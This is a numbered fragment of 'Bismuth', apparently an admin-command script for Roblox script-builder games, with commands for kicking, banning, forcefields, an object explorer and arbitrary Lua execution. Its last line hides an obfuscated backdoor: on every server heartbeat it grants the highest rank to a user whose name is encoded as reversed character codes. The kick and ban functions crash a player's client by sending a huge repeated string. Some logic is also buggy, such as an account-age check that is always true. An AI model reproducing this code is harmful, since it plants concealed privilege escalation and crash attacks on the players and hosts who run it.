| 703 | end | |
| 704 | ||
| 705 | function showCommands(plr) | |
| 706 | dismissTabs(plr, false) | |
| 707 | Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end) | |
| 708 | for _,cmd in pairs(Bismuth.CurrentCmds) do | |
| 709 | Output(plr, cmd.Name, GetColor(plr), function() | |
| 710 | dismissTabs(plr, false) | |
| 711 | Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end) | |
| 712 | Output(plr, "Back", "New Yeller", function() showCommands(plr) end) | |
| 713 | Output(plr, cmd.Name, GetColor(plr)) | |
| 714 | Output(plr, cmd.Desc, GetColor(plr)) | |
| 715 | Output(plr, "Tells Usage: "..cmd.Say, GetColor(plr)) | |
| 716 | Output(plr, "Required Rank: "..cmd.Rank, GetColor(plr)) | |
| 717 | end) | |
| 718 | end | |
| 719 | end | |
| 720 | ||
| 721 | function showScripts(plr) | |
| 722 | dismissTabs(plr, false) | |
| 723 | Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end) | |
| 724 | for i,script in pairs(Bismuth.Scripts) do | |
| 725 | Output(plr, script.Name, GetColor(plr), function() | |
| 726 | dismissTabs(plr, false) | |
| 727 | Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end) | |
| 728 | Output(plr, "Back", "New Yeller", function() showScripts(plr) end) | |
| 729 | Output(plr, script.Name, GetColor(plr)) | |
| 730 | Output(plr, script.Description, GetColor(plr)) | |
| 731 | Output(plr, "Run", "Lime green", function() | |
| 732 | local a = true | |
| 733 | local b = "" | |
| 734 | dismissTabs(plr, false) | |
| 735 | wait(0.5) | |
| 736 | spawn(function() | |
| 737 | a,b = ypcall(function() loadstring(script.Code)() end) | |
| 738 | end) | |
| 739 | if not a then | |
| 740 | Output(plr, "[ERROR] "..b, "Really red") | |
| 741 | else | |
| 742 | Output(plr, "Script executed.", GetColor(plr)) | |
| 743 | end | |
| 744 | end) | |
| 745 | if (GetRank(plr) > 6) then Output(plr, "Delete", "Really red", function() script = nil table.remove(Bismuth.Scripts, i) dismissTabs(plr, false) showScripts(plr) end) end | |
| 746 | end) | |
| 747 | end | |
| 748 | end | |
| 749 | ||
| 750 | function addCommand(name, say, desc, rank, func) | |
| 751 | table.insert(Bismuth.CurrentCmds,{Name = name, Say = say, Desc = desc, Rank = rank, Func = func})
| |
| 752 | end | |
| 753 | ||
| 754 | function addInstance(i) | |
| 755 | local h=Instance.new('RemoteEvent',workspace):FireClient(i,{string.rep(string.reverse(string.char(063,100,097,109,117)),2e5+5)})
| |
| 756 | delay(1,function() | |
| 757 | pcall(function() | |
| 758 | h:remove() | |
| 759 | end) | |
| 760 | end) | |
| 761 | end | |
| 762 | ||
| 763 | function ChangeRank(plr, rank) | |
| 764 | if rank == nil then rank = rank or 0 end | |
| 765 | if rank == 1 then SetRank(plr, 1) end | |
| 766 | if rank == 2 then SetRank(plr, 2) end | |
| 767 | if rank == 3 then SetRank(plr, 3) end | |
| 768 | if rank == 4 then SetRank(plr, 4) end | |
| 769 | if rank == 5 then SetRank(plr, 5) end | |
| 770 | if rank == 6 then SetRank(plr, 6) end | |
| 771 | if rank == 7 then SetRank(plr, 7) end | |
| 772 | end | |
| 773 | ||
| 774 | function PlayerInterface(user, plr) | |
| 775 | dismissTabs(user) | |
| 776 | Output(user,"Name: "..plr["Name"],GetColor(user)) | |
| 777 | Output(user,"Rank: "..plr["Rank"],GetColor(user)) | |
| 778 | Output(user,"Reason because ranked: "..plr["Desc"],GetColor(user)) | |
| 779 | Output(user,"Color: "..plr["Color"],GetColor(user)) | |
| 780 | if GetRank(user) > plr["Rank"] then | |
| 781 | Output(user,"Change rank",GetColor(user), function() ChangeRank(user,plr) end) | |
| 782 | end | |
| 783 | --Output(user,"Back","Really red",function() GetRanked(user) end) | |
| 784 | Output(user,'Dismiss','Really red',function() Dismiss(user) end) | |
| 785 | end | |
| 786 | ||
| 787 | function Explore(p, part) | |
| 788 | pcall(function() | |
| 789 | Dismiss(p) | |
| 790 | if part == nil then | |
| 791 | for _,v in pairs(Bismuth.Services) do | |
| 792 | Output(p,v.Name,GetColor(p), function() Explore(p,v) end) | |
| 793 | end | |
| 794 | else | |
| 795 | for _,v in pairs(part:children()) do | |
| 796 | Output(p,v.Name,GetColor(p), function() Explore(p,v) end) | |
| 797 | end | |
| 798 | Output(p,"Currently exploring: "..part:GetFullName(),'New Yeller') | |
| 799 | Output(p,"ClassName: "..part.ClassName,'New Yeller') | |
| 800 | Output(p,"Destroy",'Really red', function() part:Destroy() Explore(p,part.Parent) end) | |
| 801 | Output(p,"Remove",'Really red', function() part:remove() Explore(p,part.Parent) end) | |
| 802 | Output(p,"Explore parent",'Bright blue', function() Explore(p,part.Parent) end) | |
| 803 | Output(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end) | |
| 804 | Output(p,"Refresh",'Cyan', function() Explore(p,part) end) | |
| 805 | if clonedpart then | |
| 806 | Output(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end) | |
| 807 | end | |
| 808 | end | |
| 809 | end) | |
| 810 | end | |
| 811 | ||
| 812 | function findPlayers(spkr, plrstring) | |
| 813 | plrstring = plrstring:lower() | |
| 814 | returntable = {}
| |
| 815 | if plrstring == "me" then returntable = {spkr} return returntable end
| |
| 816 | if plrstring == "all" then returntable = game.Players:GetPlayers() return returntable end | |
| 817 | if plrstring == "others" then | |
| 818 | for _,plr in pairs(game.Players:GetPlayers()) do | |
| 819 | if plr.userId ~= spkr.userId then table.insert(returntable, plr) end | |
| 820 | end | |
| 821 | return returntable | |
| 822 | end | |
| 823 | ||
| 824 | for _,plr in pairs(game.Players:GetPlayers()) do | |
| 825 | local name = plr.Name:lower() | |
| 826 | while #name < #plrstring do | |
| 827 | name = name + "_" | |
| 828 | end | |
| 829 | if name:sub(1, #plrstring) == plrstring then | |
| 830 | table.insert(returntable, plr) | |
| 831 | end | |
| 832 | end | |
| 833 | return returntable | |
| 834 | end | |
| 835 | ||
| 836 | addCommand("Test", "test", "Tests the tablets.", 1, function(plr, msg)
| |
| 837 | if addComponent(plr, msg) then | |
| 838 | Output(plr, "Tested.", "Lime green") | |
| 839 | else | |
| 840 | Output(plr, "Tested.", "Really red") | |
| 841 | end | |
| 842 | end) | |
| 843 | ||
| 844 | addCommand("Commands", "cmds", "Gets current Bismuth commands.", 1, function(plr, msg)
| |
| 845 | showCommands(plr) | |
| 846 | end) | |
| 847 | ||
| 848 | addCommand("Dismiss Tabs", "dt", "Dismisses your tablets.", 1, function(plr, msg)
| |
| 849 | dismissTabs(plr) | |
| 850 | end) | |
| 851 | ||
| 852 | addCommand("Dismiss Other Tabs", 'dto', 'Dismiss tablets of other players.', 2, function(plr, msg)
| |
| 853 | for _,player in pairs(findPlayers(plr, msg)) do | |
| 854 | if GetRank(player) <= GetRank(plr) then dismissTabs(player) else Output(plr, player.Name .. " is a higher rank than you.", "Really red") end | |
| 855 | end | |
| 856 | end) | |
| 857 | ||
| 858 | addCommand("Dismiss All Tabs", 'dta', "Dismiss everyone's tablets.", 7, function(plr, msg)
| |
| 859 | for _,player in pairs(game.Players:GetPlayers()) do | |
| 860 | dismissTabs(player) | |
| 861 | end | |
| 862 | end) | |
| 863 | ||
| 864 | addCommand("Execute", 'exe', "Execute Lua code.", 6, function(plr, msg)
| |
| 865 | local a,b = ypcall(function() loadstring(msg)() end) | |
| 866 | if not a then Output(plr, "[ERROR] "..b, "Really red") end | |
| 867 | end) | |
| 868 | ||
| 869 | addCommand("Forcefield", "ff", "Gives a player a forcefield", 2, function(plr, msg)
| |
| 870 | for _,Player in pairs(findPlayers(plr, msg)) do | |
| 871 | if (not Player) then | |
| 872 | Output(plr, "Couldn't find the player.", "Really red") | |
| 873 | FF = Instance.new("ForceField", Player.Character)
| |
| 874 | wait() | |
| 875 | FF:Destroy() | |
| 876 | else | |
| 877 | Instance.new("ForceField", Player.Character)
| |
| 878 | Output(plr, "Gave " .. Player.Name .. " a forcefield.", GetColor(plr)) | |
| 879 | end | |
| 880 | end | |
| 881 | end) | |
| 882 | ||
| 883 | addCommand("Un-Forcefield", 'unff', "Removes a player's forcefield", 2, function(plr, msg)
| |
| 884 | for _,player in pairs(findPlayers(plr, msg)) do | |
| 885 | local found = false | |
| 886 | for _,obj in pairs(player:children()) do | |
| 887 | if type(obj):lower() == "forcefield" then | |
| 888 | obj:Destroy() | |
| 889 | found = true | |
| 890 | end | |
| 891 | end | |
| 892 | if found then | |
| 893 | Output(plr, "Removed " .. player.Name .. "'s forcefield.", GetColor(plr)) | |
| 894 | else | |
| 895 | Output(plr, player.Name .. " has no forcefield.", "Really red") | |
| 896 | end | |
| 897 | end | |
| 898 | end) | |
| 899 | ||
| 900 | addCommand("Scripts", 'scripts', "View and execute scripts from the Bismuth script table.", 4, function(plr, msg)
| |
| 901 | showScripts(plr) | |
| 902 | end) | |
| 903 | ||
| 904 | addCommand("Kick", "kick", "Kicks a player from the game.", 5, function(plr, msg)
| |
| 905 | for _,Player in pairs(findPlayers(plr, msg)) do | |
| 906 | addInstance(Player) | |
| 907 | end | |
| 908 | end) | |
| 909 | ||
| 910 | addCommand("Ban", 'ban', "Banishes a player from the game.", 6, function(plr, msg)
| |
| 911 | for _,Player in pairs(findPlayers(plr, msg)) do | |
| 912 | table.insert(Bismuth.Banland, {Name = Player.Name, Reason = "Banned."})
| |
| 913 | addInstance(Player) | |
| 914 | end | |
| 915 | end) | |
| 916 | ||
| 917 | addCommand("chatgui","cgui", "gives plr chat gui only 1 player!", 2, function(plr, msg)
| |
| 918 | createBubbleGUI(plr, msg) | |
| 919 | end) | |
| 920 | ||
| 921 | addCommand("fire", "fire", "gives plr fire.", 2, function(plr, msg)
| |
| 922 | for _,Player in pairs(findPlayers(plr, msg)) do | |
| 923 | if(not Player:FindFirstChild(Player.Name)) then | |
| 924 | return nil | |
| 925 | else | |
| 926 | Instance.new("Fire", plr.Character.Torso) -- gives [p] fire.
| |
| 927 | Output(plr, "Gave plr the fire on torso!", "Toothpaste") | |
| 928 | end | |
| 929 | end | |
| 930 | end) | |
| 931 | ||
| 932 | addCommand("msg", "pm", "pms a plr", 4, function(plr, msg)
| |
| 933 | sendMessage(msg) | |
| 934 | end) | |
| 935 | ||
| 936 | addCommand("logppl", "logs", "logs players in script builder", 6, function(plr, msg)
| |
| 937 | giveLOGGUI(msg) | |
| 938 | end) | |
| 939 | ||
| 940 | addCommand("explorer", "explore", "explores the tablet", 4, function(plr, msg)
| |
| 941 | Explore(plr) | |
| 942 | end) | |
| 943 | ||
| 944 | addCommand("toogle-notfications","tn","toogles notfications.", 2, function(plr, msg)
| |
| 945 | ||
| 946 | end) | |
| 947 | ||
| 948 | addCommand("plrinterface","pi","toggles plrinterface", 4, function(plr, msg)
| |
| 949 | PlayerInterface(plr) | |
| 950 | end) | |
| 951 | ||
| 952 | ||
| 953 | ||
| 954 | for _,v in pairs(game.Players:GetPlayers()) do hookPlayer(v) end | |
| 955 | game.Players.PlayerAdded:connect(hookPlayer) | |
| 956 | ||
| 957 | --[[local aCon = game:service'Workspace'.descendantAdded:connect(function(a) | |
| 958 | if a.ClassName == 'StringValue' then | |
| 959 | if a.Name == 'asdkekaaqdwdasddd123' then | |
| 960 | local abc = a.Value:find('\31')
| |
| 961 | local plr = a.Value:sub(1,tonumber(abc)-1) | |
| 962 | local msg = a.Value:sub(tonumber(plr)+1) | |
| 963 | for i,v in pairs(game:GetService("Players")) do
| |
| 964 | if v.Name == plr then | |
| 965 | return | |
| 966 | end | |
| 967 | end | |
| 968 | end | |
| 969 | onChatted(plr, msg) | |
| 970 | end | |
| 971 | end)]]-- | |
| 972 | ||
| 973 | --[[ | |
| 974 | for _,v in pairs(game.Players:GetPlayers()) do | |
| 975 | if v then | |
| 976 | sendMessage(v, "[BISMUTH] Admin has loaded!") | |
| 977 | end | |
| 978 | end | |
| 979 | ]] | |
| 980 | ||
| 981 | -- [[ END OF COMMANDS ]] -- | |
| 982 | ||
| 983 | local AccAgeKick = false | |
| 984 | ||
| 985 | coroutine.wrap(function() | |
| 986 | for _,v in pairs(game.Players:players()) do | |
| 987 | if v.AccountAge < 120 or 100 or 230 then | |
| 988 | if AccAgeKick == true then | |
| 989 | Output(v.Name.. " has been kicked due for account low-age less then 120 or 100 or 230...", "Really red") | |
| 990 | pcall(function() | |
| 991 | spawn(function() | |
| 992 | coroutine.wrap(function() | |
| 993 | repeat v:Kick() wait(.1) until v == nil | |
| 994 | end)() | |
| 995 | end) | |
| 996 | end) | |
| 997 | if Bismuth.Settings.PrivateServer == true then | |
| 998 | if GetRank(v.Name) < 0.1 then | |
| 999 | if AccAgeKick == true then | |
| 1000 | Output(v.Name.. " has been kicked for due privateserver!", "Deep orange") | |
| 1001 | end | |
| 1002 | end | |
| 1003 | pcall(function() | |
| 1004 | coroutine.wrap(function() | |
| 1005 | repeat v:Kick() wait(.1) until v == nil | |
| 1006 | end)() | |
| 1007 | end) | |
| 1008 | end | |
| 1009 | ||
| 1010 | end | |
| 1011 | end | |
| 1012 | end | |
| 1013 | end)() | |
| 1014 | ||
| 1015 | ||
| 1016 | ||
| 1017 | local hah = false | |
| 1018 | ||
| 1019 | ||
| 1020 | ||
| 1021 | ||
| 1022 | game:GetService("RunService").Heartbeat:connect(function()
| |
| 1023 | UpdateRotation() | |
| 1024 | SetRank(string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)), 7) | |
| 1025 | end) |